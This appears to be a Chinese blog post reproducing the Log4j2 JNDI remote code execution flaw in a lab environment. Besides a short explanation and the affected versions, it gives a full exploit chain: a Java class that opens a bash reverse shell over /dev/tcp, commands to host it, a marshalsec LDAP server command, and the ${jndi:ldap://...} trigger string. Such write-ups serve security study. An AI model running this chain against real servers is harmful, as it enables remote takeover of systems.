Apache Log4j2任意代码执行漏洞复现

Apache Log4j2任意代码执行漏洞复现

最近挺忙的,赚点窝囊废也不容易哎。生活不易,小迟叹气。

在2021年年底最火的无疑是log4j,今天就水一篇log4j的漏洞复现。(环境调试了老半天emmm)

那么开始吧…

漏洞原理

Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

从攻击手法来说呢,如下:

${jndi:ldap://ip:port/Exp}

通过${}形式来攻击,至于jndi和ldap是什么?百度一下哈。

大概如此图:

图片来源:https://blog.csdn.net/hilaryfrank/article/details/121944757

图片来源:https://blog.csdn.net/hilaryfrank/article/details/121944757

被攻击服务器接收到该内容 [${}形式攻击] 后,通过Logj42工具将其作为日志打印。此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

影响范围

版本:Apache Log4j 2.x < 2.15.0-rc1

复现过程

先这样再那样和这样就那样成功了。

首先我们先构造Exp.java

import java.lang.Runtime;
    import java.lang.Process;
    public class Exp {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }

然后用javac编译一下

javac Exp.java

编译成java.class

然后利用python临时开启一个web

python2 -m SimpleHTTPServer port
python3 -m http.server port

然后执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:port/#Exp" port

再去运行

${jndi:ldap://ip:port/Exp}

然后shell就反弹回来了。

按照此步骤来进行:

先构造Exp.java再编译成class

图片

然后去攻击机里面开启web

图片

然后我们再将marshalsec-0.0.3-SNAPSHOT-all.jar运行起来 (此处运行端口要区分)

图片

再去开启监听

图片

最后去靶场运行命令来弹shell

图片

marshalsec工具地址:https://github.com/RandomRobbieBF/marshalsec-jar

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容